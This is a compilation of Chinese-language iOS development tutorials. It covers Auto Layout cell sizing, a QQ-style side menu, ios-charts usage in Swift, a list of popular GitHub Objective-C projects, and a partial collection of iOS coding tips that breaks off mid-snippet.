    cell.firstLabel.text = labelArray[indexPath.row]

    if indexPath.row < 3 {
        var image = UIImage(named: indexPath.row.description)!
        if image.size.width > 80 {
            image = image.resizeToSize(CGSizeMake(80, image.size.height * (80 / image.size.width)))
        }
        cell.logoImageView.image = image
    }

    return cell
}



搞定！


查看效果





从上图可以看出，cell 已经可以根据图片和文字中比较高的一个完全自适应。


致谢


感谢 《动态计算UITableViewCell高度详解》，给我提供了许多基础知识和灵感。



  下一步：Auto Layout 使用心得（六）—— 制造炫酷的下拉刷新动画




 再造 “手机QQ” 侧滑菜单（二）——高仿左视图

作者：JohnLui

来源： 再造 “手机QQ” 侧滑菜单（二）——高仿左视图



                    

  代码示例：https://github.com/johnlui/SwiftSideslipLikeQQ




本篇文章中，我们将一起使用 Auto Layout 高仿手Q的左侧视图，力争达成从布局到动画的全面类似。由于实现过程繁复，本文将主要讲述思路和心得体会，将不再大段大段地粘贴代码。


手Q左视图的展现方式


细部动画


仔细观察，在把主页往右拖动时，左侧菜单有一个平移和放大的结合动画，并且有一层黑色遮罩层，透明度在不断变化，如下图：





适配逻辑


我对比了 4 寸屏幕和 4.7 寸屏幕上的左视图，很明点的一点是，4.7 寸屏幕上的元素尺寸和字体都比 4 寸屏幕上的大一点，并且有明显的模糊，故手Q采用的应该是 4 寸以上屏幕等比放大的方案。


对比图如下：


4 寸：





4.7 寸：





开始仿制


弄明白手Q的实现细节之后，我们就开始着手实现界面及功能了。


使用 StoryBoard 构造左视图


在 StoryBoard 中新增一个 View Controller，并新增一个名为 LeftViewController 的 UIViewController 类，并在 StoryBoard 中完成绑定。然后搭建出左视图的界面，并使用 Auto Layout 进行完全约束。


注：



	不熟悉 Auto Layout 的同学可以阅读《Auto Layout 使用心得》系列文章。

	在普通 UIViewController 中使用 UITableView 的方法请看：《如何在普通 UIViewController 中使用 UITableView》




效果图如下：





上图中我为了能够显示出白色的字把 LeftViewController 主 view 的背景调成了绿色，默认使用 Default 即可（透明色）。


取出左视图并增加遮罩层


代码：https://github.com/johnlui/SwiftSideslipLikeQQ/blob/master/SwiftSidesl...


这里有一点心得体会：为了保证 LeftViewController 中各类事件的正常相应，需要给 ViewController 增加成员变量（对象）：


swiftvar leftViewController: LeftViewController!



这跟 《AVAudioPlayer 如何在页面呈现之后按需初始化》 中提出的解决方案是一个道理。


完善跟左视图有关的动画代码，过于繁复请大家直接参考项目代码，此处不再表述：


https://github.com/johnlui/SwiftSideslipLikeQQ/blob/master/SwiftSidesl...


查看效果


动画效果





适配性


3.5 寸：





4.0 寸：





4.7 寸：





5.5 寸：






  下一步：再造 “手机QQ” 侧滑菜单（三）——视图联动










原文：再造 “手机QQ” 侧滑菜单（二）——高仿左视图






 如何在 Swift 语言下使用 iOS Charts API 制作漂亮图表？

作者：OneAPM蓝海讯通

来源： 如何在 Swift 语言下使用 iOS Charts API 制作漂亮图表？



                    
【编者按】本文作者 Joyce Echessa 是渥合数位服务创办人，毕业于台湾大学，近年来专注于协助客户进行 App 软体以及网站开发。文中作者通过示例介绍用 ios-charts 库创建简易美观的图表，有助于开发者在应用中生动形象地向用户展示数据。本文系 OneAPM 工程师编译整理：

呈现大量数据时，比起表格中一行行枯燥的数据，使用图表来形象地表示数据可以帮助用户更好地理解。在图表中，不需要通读所有数据资料，便能很容易地了解数据模式，从而获取关键信息。图表的使用在商业 App 和健身 App 中非常常见。

本篇文章中，我们主要介绍由 Daniel Cohen Gindi 开发的 ios-charts library。ios-charts 是由 Philipp Jahoda 建立的，是非常流行的 Android 库 MPAndroidChart 的 iOS 端口。有了这个库，你可以方便快捷地在应用中添加不同类型的图表。仅需寥寥几行代码，就可以制作出功能齐备、交互性强的图表，并且高度可定制。



函数库的主要特征：


	8种不同的图表类型；


	两个轴的缩放（用触控手势、分轴缩放或捏拉缩放）；


	拖拽/平移（用触控手势）；


	图表结合（线形图、柱形图、离散图、K 线图、气泡图）；


	双（分开的）Y 轴；


	手指画图（用触控手势将数值画入图表）；


	数值突出显示（自定义弹出视图）；


	多个/分离的轴；


	储存图表到相册/以 PNG/JPEG 格式输出；


	预定义颜色模板；


	图例（可自动生成，可自定义）；


	自定义轴（包括 X 和Y 轴）；


	动画（在 X 轴和 Y 轴上建立动画）；


	界限（提供额外信息，比如最大值等）；


	全方位自定义（上色、字体、图例、颜色、背景、手势、虚线等）。




开始吧！

首先、下载本篇文章将会用到的初始示例——名为 iOSChartsDemo 的简易应用。应用运行时，你会看到有两个项目的表格：条形图和其他图表。当点击项目时，会得到空白的视图。在本例中，笔者已创建了要用的两个视图控制器：BarChartViewController 和 ChartsViewController。

接着，我们添加函数库到项目中。你可以用 CocoaPods 安装该库，这里我们直接手动安装。

下载 ios-charts 项目，这个 zip 文件包含了函数库（名为 Charts 的文件夹）和一个示例项目（名为 ChartsDemo）。如果你想了解更多关于函数库的知识，示例项目是很棒的资源。

解压缩已下载的文件，并将 Charts 文件复制粘贴到你项目（iOSChartsDemo）的根目录下。在 Finder 中打开Charts文件，并将 Charts.xcodeproj 拖拽到 Xcode 项目中。结构如下图所示。



接着从项目导航中选择你的项目，并确保该 iOSChartsDemo 目标被选中。在右边的常规选项卡中找到 Embedded Binaries 部分，点击该部分的+号添加图表框架。从列表中选择 Charts.framework 并点击 Add。



如果你想在 Objective-C 中使用函数库，请参考使用说明。

用 Command-B 或选择 Product > Build 来生成项目。如果不这样做，当你导入 Charts 框架到你的项目时，Xcode 会报错——无法加载 Charts 底层模块。

现在开始创建第一个图表。

创建一个柱形图

打开 BarChartViewController.swift 文件，添加以下声明。

import Charts

打开故事板文件。我们需要添加用来显示图表的视图。从文档纲要中选择 Bar Chart View Controller，并在属性检查器中取消 Extend Edges 的 Under Top Barsin 选项。我们不希望图表自动延伸至导航栏下方。



接着拖拽一个视图到 Bar Chart View Controller 中，并按下图定位边界。该视图为控制器中主视图的子视图。



视图被选中后，在识别检查器中将它的类设为 BarChartView。再使用助理编辑器，加入视图的 outlet 到 BarChartViewController 类，并命名为 outletbarChartView。在 BarChartViewController 类中添加下列代码。

@IBOutlet weak var barChartView: BarChartView!

运行项目，并从表格中选择柱形图，你可能会得到视图提示信息：无可用的图表数据。



如果在没有数据来产生图表时，你想在空白状态显示其他的信息，这时候可以自定义这个提示信息。在 viewDidLoad()函数底部，加入下列代码。

运行该项目，可以看到自定义的提示信息。

你可以为下面信息进一步添加描述。这可以用来向用户解释，为什么图表是空的，他们需要获取数据来生成图表。例如：健身 App 应该让用户知道在整理图表分析之前，他们需要先记录跑步数据。

barChartView.noDataTextDescription = "GIVE REASON"

添加下面的属性到该类。我们用它来存储一些图表的模拟数据。

var months: [String]!

将下面的函数添加到该类，用以建立图表。

func setChart(dataPoints: [String], values: [Double]) {
    barChartView.noDataText = "You need to provide data for the chart."
        
}

请注意，我曾经在 viewDidLoad()函数中添加了声明。现在从 viewDidLoad()中移除该声明。我们将用 setChart()来自定义图表。

在 viewDidLoad()中，添加以下内容到函数底部。

months = ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"]
let unitsSold = [20.0, 4.0, 6.0, 3.0, 12.0, 16.0, 4.0, 18.0, 2.0, 4.0, 5.0, 4.0]
        
setChart(months, values: unitsSold)

我们设置一些模拟数据，给出一些产品一年中每个月售出的单位数。然后，我们将数据传给 setChart()。

让一个图表显示数据，我们还需创建一个 BarChartData 对象，并将其设置为 barChartView 的数据属性。添加下面的代码到 setChart()函数底部。

var dataEntries: [BarChartDataEntry] = []
        
for i in 0..<dataPoints.count {
    let dataEntry = BarChartDataEntry(value: values[i], xIndex: i)
    dataEntries.append(dataEntry)
}
        
let chartDataSet = BarChartDataSet(yVals: dataEntries, label: "Units Sold")
let chartData = BarChartData(xVals: months, dataSet: chartDataSet)
barChartView.data = chartData

以上代码中，我们创建了一个 BarChartDataEntry 对象的数组。BarChartDataEntry 初始化需要每个数据项的值、其对应的项目索引以及一个任意的标签。

随后，我们使用这个对象创建 BarChartDataSet，主要用来传递 BarChartDataEntry 对象的数组，以及描述数据的标签。

最后，我们用它来创建一个 BarChartData 对象，用来设定我们图表视图的数据。

运行该应用，可以看到如下图所示有数据的柱形图。



你可以为出现在视图右下方的图表设置说明。默认情况下，文本可用来设置「说明」，该说明会出现在图片上。参考 ofMPAndroidChart 文档，你可以更改描述的位置，但看一下 iOS 的 API，这并没有包括在内。函数库仍在维护，所以可能会在之后添加。如果你想改变描述的位置，你可以修改 ChartViewBase 类（是 BarChartView 类的子类）中的 drawDescription（上下文）函数。

针对本应用，我们移除描述文本。在 setChart()函数的底部添加下列内容，将描述文本设为空字符串。

barChartView.descriptionText = ""

自定义图表

你可以修改一些属性来自定义图表视图的外观。下面我们来具体介绍，你也可以浏览文档看看哪些可以自定义。

首先，我们修改柱形图的默认颜色。添加下列设置到 setChart()函数的底部。

chartDataSet.colors = [UIColor(red: 230/255, green: 126/255, blue: 34/255, alpha: 1)]


以上代码设置了与数据相关的颜色。将该设定给 UIColor 对象数组。因此只要数组中有一种颜色，所有的实体均可用。



如果你想给每一个数据对象设置不同的颜色，那么你需要提供更多的颜色，本例中需要12种。如果你的颜色数量少于实体总数，那么从坐到右将不同的颜色分配给柱形图，直到颜色用完后重新开始分配。

API 中也自带一些预定义颜色模板，你可以用它来为数据项设定不同颜色，它们包括：


	ChartColorTemplates.liberty()


	ChartColorTemplates.joyful()


	ChartColorTemplates.pastel()


	ChartColorTemplates.colorful()


	ChartColorTemplates.vordiplom()




如下所示，使用 ChartColorTemplates.colorful()模板。

chartDataSet.colors = ChartColorTemplates.colorful()



如下所示修改 X 轴标签的位置。

barChartView.xAxis.labelPosition = .Bottom

现在标签在图表底部。



按照以下办法可以修改图表的背景色。

barChartView.backgroundColor = UIColor(red: 189/255, green: 195/255, blue: 199/255, alpha: 1)

根据上述设定，你会看到如下所示的界面。



动画

你可以为图表设定一些动画，使之更加生动活泼。你可以使用三种主要的动画类型方法，可以同时让 XY 轴或者分别某个轴产生动画。


	animate(xAxisDuration: NSTimeInterval, yAxisDuration: NSTimeInterval)


	animate(xAxisDuration: NSTimeInterval)


	animate(yAxisDuration: NSTimeInterval)




你可以加入任意的 ChartEasingOption 到以上函数。选项如下：


	Linear


	EaseInQuad


	EaseOutQuad


	EaseInOutQuad


	EaseInCubic


	EaseOutCubic


	EaseInOutCubic


	EaseInQuart


	EaseOutQuart


	EaseInOutQuart


	EaseInQuint


	EaseOutQuint


	EaseInOutQuint


	EaseInSine


	EaseOutSine


	EaseInOutSine


	EaseInExpo


	EaseOutExpo


	EaseInOutExpo


	EaseInCirc


	EaseOutCirc


	EaseInOutCirc


	EaseInElastic


	EaseOutElastic


	EaseInOutElastic


	EaseInBack


	EaseOutBack


	EaseInOutBack


	EaseInBounce


	EaseOutBounce


	EaseInOutBounce




添加下行内容到 setChart()函数。

运行应用，柱形图以动画的形式加入视图。我们同时为两个轴都设置2秒的动画。



修改上述状态为：

barChartView.animate(xAxisDuration: 2.0, yAxisDuration: 2.0, easingOption: .EaseInBounce)

你会看到这行的特效如下。



界限

界限是针对所有线形图、柱形图和离散图的附加功能。它允许在图表中显示额外的线条为特定轴（X 或 Y 轴）加限制。这额外的线用来设定数据的目标值，帮助用户更容易了解是否达到界限。

要在图表中加入界限，可以添加以下代码到 setData()函数中。

let ll = ChartLimitLine(limit: 10.0, label: "Target")
barChartView.rightAxis.addLimitLine(ll)

运行该应用，你可以看到一条红线，标记在单位10左右。上面的代码中，我们在界限上添加了一个标签。但是 ChartLimitLine 有另一个没有添加标签的初始化函数，如果不想加的话可以省略。



触控事件

如果运行应用，你会发现通过默认的捏拉缩放和双击来进行缩放。此外，如果某个柱形条被单击，该柱形条会突出显示。很棒的是无需自己再编代码就能使用该功能，除非你想添加更多的功能，比如当用户单击柱形条时有其他响应。

为了检测图表内的选择，我们将使用 ChartViewDelegate 协议。

修改该类的声明如下。

class BarChartViewController: UIViewController, ChartViewDelegate {

在调用 super.viewDidLoad()后面添加下列代码到 viewDidLoad()。

barChartView.delegate = self

添加下面的函数到该类。

func chartValueSelected(chartView: ChartViewBase, entry: ChartDataEntry, dataSetIndex: Int, highlight: ChartHighlight) {
    println("\(entry.value) in \(months[entry.xIndex])")
}

当图表视图中的值被选中时，会调用上述函数。这里我们打印出被选中的月份和值。

保存图表

你可以将图表的当前状态保存为图像。可以选择将它保存到相机胶卷或者重新设置一个保存路径。

首先，我们将添加一个保存按钮到图表视图。打开故事板文件，并找到柱形图表视图控制器。拖动导航项目到视图控制器的导航栏，然后拖动柱形按钮项，并将其放置于导航项目的右上角。删除属性检查器中的导航项目的标题属性中的「标题」文本。选择柱形按钮项，并设置其标识便于保存到属性检查器。可以看到如下界面。



接着为按钮创建一个消息响应，命名为 saveChart，添加以下代码到 BarChartViewController 类中。

@IBAction func saveChart(sender: UIBarButtonItem) {
        
}

按照下列代码修改上面的方法。

@IBAction func saveChart(sender: UIBarButtonItem) {
    barChartView.saveToCameraRoll()
}

执行该程序后，当点击保存按钮时，图表图像讲保存到相册，可用 Photos 应用浏览。

下列代码可以重新设置保存路径。

barChartView.saveToPath(path: String, format: ChartViewBase.ImageFormat, compressionQuality: Double)

图片格式可能是 .JPEG或 .PNG，该 compressionQuality 是一种无损格式（JPEG）的压缩质量。

更多图表

现在我们看一下其他几个图表。大部分我们都看过了，所以不再过多赘述。

首先，在故事板文件中找到图表视图控制器，在识别检查器中，设定视图的标签为 Pie Chart View 的类为 PieChartView。

如下所示修改 ChartsViewController 类。

import UIKit
import Charts
 
class ChartsViewController: UIViewController {
    
    @IBOutlet weak var lineChartView: LineChartView!
    @IBOutlet weak var pieChartView: PieChartView!
 
    override func viewDidLoad() {
        super.viewDidLoad()
 
        // Do any additional setup after loading the view.
        
        let months = ["Jan", "Feb", "Mar", "Apr", "May", "Jun"]
        let unitsSold = [20.0, 4.0, 6.0, 3.0, 12.0, 16.0]
        
        setChart(months, values: unitsSold)
        
    }
    
    func setChart(dataPoints: [String], values: [Double]) {
        
        var dataEntries: [ChartDataEntry] = []
        
        for i in 0..<dataPoints.count {
            let dataEntry = ChartDataEntry(value: values[i], xIndex: i)
            dataEntries.append(dataEntry)
        }
        
        let pieChartDataSet = PieChartDataSet(yVals: dataEntries, label: "Units Sold")
        let pieChartData = PieChartData(xVals: dataPoints, dataSet: pieChartDataSet)
        pieChartView.data = pieChartData
        
        var colors: [UIColor] = []
        
        for i in 0..<dataPoints.count {
            let red = Double(arc4random_uniform(256))
            let green = Double(arc4random_uniform(256))
            let blue = Double(arc4random_uniform(256))
            
            let color = UIColor(red: CGFloat(red/255), green: CGFloat(green/255), blue: CGFloat(blue/255), alpha: 1)
            colors.append(color)
        }
        
        pieChartDataSet.colors = colors
        
        
        let lineChartDataSet = LineChartDataSet(yVals: dataEntries, label: "Units Sold")
        let lineChartData = LineChartData(xVals: dataPoints, dataSet: lineChartDataSet)
        lineChartView.data = lineChartData
        
    }
 
}

以上代码中，我们将 Charts 框架导入类中，像之前创建柱形图那样，创建一个饼状图和一个线形图。但需要注意的是，在柱形图表例中我们使用的是 BarChartDataEntry，而现在使用父类 ChartDataEntry 创建数据项。

运行应用，选择表格视图中的其他图表，可以看见一个线形图和有颜色的饼状图。你的应用可能跟下图不完全相同，因为饼状图的颜色是随机的。



结束语

本篇文章大致介绍了使用 ios-charts 库创建的一些图表类型，大概涉及了自定义图表的一些内容。如果你想知道这个库的其他功能，你可以参考这个下载库自带的 ChartsDemo 项目的代码，也可以看看该项目的维基百科。这个链接到 Wiki 页面会引导至 MPAndroidChart 项目文档。作者在写这篇文章时，还没有库的 iOS 版本的文档说明，但其实 API 跟 Android 版本约95％都相同，当你百思不得其解时，Android 文档仍然可以派上用场。

你可以在这里下载完整项目。

下面列出可创建的图表类型。

线形图（图例、简单的设计）



线形图（图例、简单的设计）



线图（立方线）



线图（单数据组）



复合图（柱形图和线图）



柱形图（图例、简单设计）



柱形图（分组数据集）



水平柱形图



饼状图（有选取）



散点图（以方形、三角形、圆形等图例）



K线图（针对财经数据）



气泡图（由气泡区域覆盖来表示值）



雷达图（蛛网图）



本文系 OneAPM 工程师编译整理。想阅读更多技术文章，请访问 OneAPM 官方博客。
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原文 iOS 学习资料整理


GitHub Top 50 简介


主要对当前 GitHub 排名前 50 的项目做一个简单的简介, 方便初学者快速了解到当前 Objective-C 在 GitHub 的情况.




	项目名称
  	项目信息





	1. AFNetworking

  	作者是 NSHipster 的博主, iOS 开发界的大神级人物, 毕业于卡内基·梅隆大学, 开源了许多牛逼的项目, 这个便是其中之一, AFNetworking 采用 |NSURLConnection + NSOperation, 主要方便与服务端 API 进行数据交换, 操作简单, 功能强大, 现在许多人都用它取代 ASIHTTPRequest



	2. GPUImage

  	一款强大的图片滤镜工具, 支持自定义滤镜, 可用来实时处理图片和视频流, 作者是 SonoPlot 公司的 CTO, 在很小的时候便开始接触编程, 他在 SO 上面的回答也有很多值得阅读, GPUImage 这个项目从 2012 年开始, 使用 OpenGL 图形程序接口编写, 性能非常好, 现在很多 iOS 程序员都用它来实现 iOS 的模糊效果



	3. three20

  	由 Facebook iOS 客户端衍生出的一款 iPhone 框架, 内置许多丰富的功能, 有丰富的界面, 对底层的操作便捷, 为开发者省下了很多时间, 但现在已经停止了更新, 一个 PR 把代码删得干干净净, 不要好奇去点开 Files changed, 我点开后该页面直接卡死, three20 当中的一位作者创建了 Nimbus, 算是 three20 的一个替代品



	4. RestKit

  	主要用于 iOS 上网络通信, 允许与 RESTful Web 服务交互, 常用于处理 API, 解析 JSON, 映射响应对象等操作, 简单易用, 方便你把所有精力都放在对数据的操作上



	5. SDWebImage

  	作者 Olivier Poitrey 是 Dailymotion 的 CTO, 拥有多个不错的开源项目, 此项目常用于对从 Web 端接受到的图片进行缓存, 是 UIImageView 的扩展, 应用起来比较简单



	6. ReactiveCocoa

  	由 GitHub 工程师们开发的一个应用于 iOS 和 OS X 开发的函数响应式编程新框架, Matt 称其为 "An open source project that exemplifies this brave |new era for Objective-C", 也有人说它是 Cocoa 的未来, 具体可看唐巧写的这篇文章




	7. MBProgressHUD

  	作者 Matej Bukovinski 是一位全栈工程师, UI/UX 设计师, 此项目是一款提示框第三方库, 帮助开发者快速应用到项目中)



	8. MagicalRecord

  	作者是 Coursera 的 iOS 工程师, 该项目创作灵感来自于 Ruby on Rails 的 Active Record, 主要为方便操作 CoreData 而生, 帮助清除 CoreData 引用的代码, 协助方便 CoreData 的工作



	9. FMDB

  	一个对 SQLite 进行封装的库, 使用起来方便, 简单



	10. ASIHTTPRequest

  	一个轻量级的 iOS 网络通信类库, 基于 CFNetwork 框架开发, 但现在已经停止更新, 多数开发者改用 AFNetworking 替代)



	11. Mantle

  	作者是 GitHub 的员工, 文档写的很清楚: Mantle makes it easy to write a simple model layer for your Cocoa or Cocoa Touch application, 主要用来将 JSON 数据模型化为 Model 对象, 唱吧在前段时间也改用 Mantle 了.



	12. FlatUIKit

  	收集了很多扁平化 UI 的 iOS 组件, 方便使用



	13. Facebook SDK for iOS

  	Facebook 官方的 iOS SDK, 方便开发者集成 Facebook 的一些功能到自己的 iOS APP 里面



	14. JSONKit

  	主要用于解析 JSON, 适用于 iOS6 以下环境, 自从 iOS5 开始 Apple 官方给出了 NSJSONSerialization API, 自此大家都用官方的了



	15. Slate

  	一款窗口管理应用程序, 但在两年前就已经停止更新了



	16. Nimbus

  	作者 Jeff 曾为 Facebook, Google 做过不少好东西, 也是 three20 的成员之一, three20 停更后, 他创造出这个框架来代替 three20, 文档齐全



	17. FastImageCache

  	Path 公司出品的 iOS 库, 作者 Mallory Paine 是苹果前员工, 此类库适用于在滚动时快速显示图像, 高速持久是其最大的特点



	18. SVProgressHUD

  	又一款轻量级的 iOS 第三方控件, 用于显示任务加载时的动画, 非常轻便, 容易使用



	19. Shimmer

  	Facebook 推出的一款具有闪烁效果的第三方控件, 供它旗下一款名为 Paper 的应用使用, 安装使用整个过程都十分简单



	20. CocoaLumberjack

  	这是 Mac 和 iOS 的一款强大的日志框架, 配置简单, 多线程, 提供更高级的 log 功能, 可用于代替默认的 NSLog 语句



	21. ViewDeck

  	一款开源的 iOS 活动面板组件, 还原 Path 2.0 的侧滑效果, 作者因为时间关系在两年前停止对其更新



	22. Alcatraz

  	Alcatraz 是一款管理 Xcode 插件、模版以及颜色配置的工具, 可以集成到 Xcode 的图形界面中, 安装删除都是几条命令的事, 很方便, 支持自己开发插件并上传



	23. OpenEmu

  	超强的游戏模拟器, 做游戏开发必备, 官网做得也很不错



	24. AsyncDisplayKit

  	Facebook 开源的一款 iOS UI 框架, Paper 用的就是该框架, 另外框架还用到了 Facebook 早期开源 Pop 动画引擎



	25. Xctool

  	是 Facebook 开源的一个命令行工具，用来替代苹果的 XcodeBuild 工具, 极大的方便了 iOS 的构建和测试, 输出错误信息也比较友好, 受到许多 iOS 开发者的称赞, 经常与其搭配使用的还有 OCUnit, Travis CI, OCLint 等测试工具



	26. iCarousel

  	作者是英国 Charcoal Design 公司的创始人, 开源领域的贡献颇为卓著, 这个项目就是其中之一, 这是一款可以在 iOS 上实现旋转木马视图切换效果的第三方控件, 并提供多种切换效果



	27. FLEX

  	这是 Flipboard 官方发布的一组专门用于 iOS 开发的应用内调试工具, 开发者无需将其连接到 LLDB/Xcode 或其他远程调试服务器,支持直接在 App 中运行



	28. Cocos2D Swift

  	这是 Swift 语言版本的 Cocos2D 游戏开发引擎, 核心开发者是 Ricardo Quesada, 已经为该项目贡献了 100W 行左右代码, GitHub 上更新较为频繁



	29. TapkuLibrary

  	作者是 Devin Ross, 这是在 iOS 上一款功能强大的 UI 效果类库, 可以实现多种酷炫的效果, 目前仍在更新中



	30. Masonry

  	一个轻量级的布局框架, 同时支持 iOS 和 Mac OS X, 语法优雅, 帮助开发者快速适配不同分辨率的 iOS 设备



	31. AwesomeMenu

  	作者是一位中国人, 该项目主要是使用 CoreAnimation 还原了 Path menu 的动画效果



	32. PonyDebugger

  	由 Square 公司推出的一款优秀的 iOS 应用网络调试工具, 用户可以实时看到应用程序的网络请求, 也可以对 iOS 应用程序的核心数据栈进行远程调试



	33. NewsBlur

  	作者独自一个人 Samuel Clay 做出来的一款名为 NewsBlur 的新闻阅读器, 很多人都称其为 Google Reader 的替代品, 这是它的源码



	34. JVFloatLabeledTextField

  	作者是 Thumb Labs 的联合创始人, JVFloatLabeledTextField 是 UITextField 的子类, 主要实现输入框标签浮动效果, 创作灵感来自 Dribbble, 已出现多个移植版本



	35. Json Framework

  	用于解析 JSON 数据的一个框架, 但是在 iOS5 以上版本大多数人都选择使用 NSJSONSerialization 来解析 JSON, 该项目现在在 GitHub 上也几乎没怎么更新了



	36. The Physical Web

  	由 Chrome 团队主导的一个项目, 意在用 URL 连接世界, 方便用户接受数据, 目前尚处在实验阶段



	37. Reachability

  	Reachablity 是用于检测 iOS 设备网络环境的库



	38. RESideMenu

  	作者 Roman Efimov 是雅虎的 iOS 工程师, 这个项目实现了 iOS 上的菜单侧滑效果, 创意来源于 dribbble, 该项目支持 iOS8



	39. CocoaAsyncSocket

  	一个功能强大、简单易用的异步 socket 通讯类库, 支持 TCP 和 UDP 协议, 可用于 Mac 和 iOS 设备上, 作者 Robbie Hanson 是 Deusty 的首席软件工程师



	40. ECSlidingViewController

  	一个视图控制器容器, 将子视图处理成两层, 通过滑动来处理层的切换, 创作灵感来自 Facebook 和 Path的 APP, 作者是 Cleveland 的员工



	41. SWTableViewCell

  	UITableViewCell 的子类, 实现了左右滑动显示信息视图并调出按钮



	42. TTTAttributedLabel

  	UILabel 的替代品, 使 iOS 上的 Label 功能更加丰富, 可支持链接植入等功能



	43. Canvas

  	无需编码实现牛逼的动画效果的库, 连设计师都可以快速上手



	44. SocketRocket

  	Square 公司开源的一个 WebSocket 客户端, 稳定并且易用, 做实时应用常会用到, 受广大开发者喜爱



	45. Tweaks

  	Facebook 开源的一款工具, 旨在帮助 iOS 开发者更快的迭代应用, 方便用户动态的调整参数, 是的, Paper 这个项目也用到了



	46. JSQMessagesViewController

  	优雅的 iOS 消息类库, 常用于聊天应用中, 可定制性高



	47. PNChart

  	作者周楷雯是 90 后, 秒视的创始人, 该项目是一个带动画效果的图表控件, 简约易用, 受到不少开发者喜爱



	48. VVDocumenter-Xcode

  	作者是王巍国内著名的 iOS 开发者, 人称喵神, 目前在日本 LINE 公司工作, 该项目帮助开发者轻松的生成注释文档, 节省了不少工作量, 赞



	49. Appirater

  	一款用于提醒用户给你的 APP 打分的工具



	50. BlocksKit

  	一个开源的与 Cocoa 紧密集合的基础性框架





邮件订阅



	
iOS Dev Weekly (每周一期，内容多为这一星期里值得关注的 GitHub 项目、文章、工具等)

	
iOS Design Weekly (Tips, news and inspiration delivered each week) 



文档



	
iOS Developer Library (iOS 开发必看, 有此文档足矣, 内容非常之详细) 



指南/教程




	网址
  	简介





	App Store Review Guidelines
  	iOS 应用商店审核指南, 有中文翻译版




	Swift 语言指南
  	有很多丰富的 Swift 学习资料, 学习 Swift 有这份资料可以省下很多力气



	苹果 Xcode 帮助文档阅读指南
  	Tinyfool 推出的一篇对于帮助新手阅读官方文档的指南



	Get started with your iOS developer pragram
  	苹果写的一篇入门指南, 粗略讲解了 iOS 程序从开发到上架的整个流程



	Teamtreehouse
  	文章主要讲解 Objective-C 的一些语法, 文章内容有趣且通俗易懂



	A map for iOS development
  	一张 iOS 开发地图, 做得很赞, 看完对 iOS 开发流程有一定的认知



	Start Developing iOS Apps Today
  	苹果官方给出的 iOS 入门教程, 看过之后能够做一个 To-Do 小程序



	Ry’s Objective-C Tutorial
  	讲解 Objective-C 的教程, 图文并茂, 适合新手阅读





Awesome 系列



	Awesome iOS

	Awesome-Swift(1)

	
Awesome-Swift(2) 



知乎上的讨论



	如何才能系统的学习 iOS 开发，理解一些规则和深层次的机制原理？

	没有 C 和 Objective-C 基础如何快速学习 iOS 开发？

	iOS 开发怎么入门?

	iOS 开发入门需要学习哪些知识，从一无所知到精通需要多长时间？

	12 岁如何入门 iOS 编程？

	
GitHub 上都有哪些值得关注学习的 iOS 开源项目？ 



Quora 上的讨论



	What are the best resources to learn iOS development?

	
What are the best new resources for learning iOS development in 2014? 



贡献者


点击该链接查看该项目的所有贡献者


License


以上内容采用 CC BY-NC-SA 3.0 进行许可, 转载请注明出处, 版权归本人及所有贡献者所有



  GitHub 地址: https://github.com/Aufree/trip-to-iOS

  
  PO主微博：http://weibo.com/jinfali




 iOS开发过程中的各种tips

作者：koknine

来源： iOS开发过程中的各种tips



                    
前言

简书：http://www.jianshu.com/p/28f7d1f963a7
github:https://github.com/koknine (终于改成以前的了)

iOS开发过程中，总有那么一些个小问题让人纠结，它们不会让程序崩溃，但是会让人崩溃。除此之外，还将分享一些细节现在我通过自己的总结以及从其他地方的引用，来总结一下一些常见小问题。

本篇长期更新，多积累，多奉献，同时感谢其中一些文章的作者的整理，感谢！

iOS高级开发实战讲解

这是我在网上搜索到的iOS高级开发实战讲解，由于原文不是很方便浏览，所以我在这里整理一部分出来，方便查阅，同时谢谢原作者。

这里我不是每一个都收录进来，这里只是放出一部分，有些用的太多，我就没整理了，大家如果想看可以去看原文。

返回输入键盘

<UITextFieldDelegate>

- (BOOL)textFieldShouldReturn:(UITextField *)textField {
    [textField resignFirstResponder];
    return YES;
}

CGRect

CGRectFromString(<#NSString *string#>)//有字符串恢复出矩形
CGRectInset(<#CGRect rect#>, <#CGFloat dx#>, <#CGFloat dy#>)//创建较小或者较大的矩形
CGRectIntersectsRect(<#CGRect rect1#>, <#CGRect rect2#>)//判断两巨星是否交叉，是否重叠
CGRectZero//高度和宽度为零的，位于（0，0）的矩形常量

隐藏状态栏

[UIApplication sharedApplication] setStatusBarHidden:<#(BOOL)#> withAnimation:<#(UIStatusBarAnimation)#>//隐藏状态栏

自动适应父视图大小

self.view.autoresizesSubviews = YES;
    self.view.autoresizingMask = UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight;

UITableView的一些方法

这里我自己做了个测试，缩进级别设置为行号，row越大，缩进越多
<UITableViewDelegate>

- (NSInteger)tableView:(UITableView *)tableView indentationLevelForRowAtIndexPath:(NSIndexPath *)indexPath {
    NSInteger row = indexPath.row;
    return row;
}

把plist文件中的数据赋给数组

NSString *path = [[NSBundle mainBundle] pathForResource:@"States" ofType:@"plist"];
NSArray *array = [NSArray arrayWithContentsOfFile:path];

获取触摸的点

- (CGPoint)locationInView:(UIView *)view;
- (CGPoint)previousLocationInView:(UIView *)view;

获取触摸的属性

@property(nonatomic,readonly) NSTimeInterval      timestamp;
@property(nonatomic,readonly) UITouchPhase        phase;
@property(nonatomic,readonly) NSUInteger          tapCount;

从plist中获取数据赋给字典

NSString *plistPath = [[NSBundle mainBundle] pathForResource:@"book" ofType:@"plist"];
NSDictionary *dictionary = [NSDictionary dictionaryWithContentsOfFile:plistPath];

NSUserDefaults注意事项

设置完了以后如果存储的东西比较重要的话，一定要同步一下
[[NSUserDefaults standardUserDefaults] synchronize];

获取Documents目录

NSString *documentsDirectory = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES)[0];

获取tmp目录

NSString *tmpPath = NSTemporaryDirectory();

利用Safari打开一个链接

NSURL *url = [NSURL URLWithString:@"http://baidu.com"];
[[UIApplication sharedApplication] openURL:url];

利用UIWebView显示pdf文件，网页等等

<UIWebViewDelegate>

UIWebView *webView = [[UIWebView alloc]initWithFrame:self.view.bounds];
webView.delegate = self;
webView.scalesPageToFit = YES;
webView.autoresizingMask = UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight;
[webView setAllowsInlineMediaPlayback:YES];
[self.view addSubview:webView];
    
NSString *pdfPath = [[NSBundle mainBundle] pathForResource:@"book" ofType:@"pdf"];
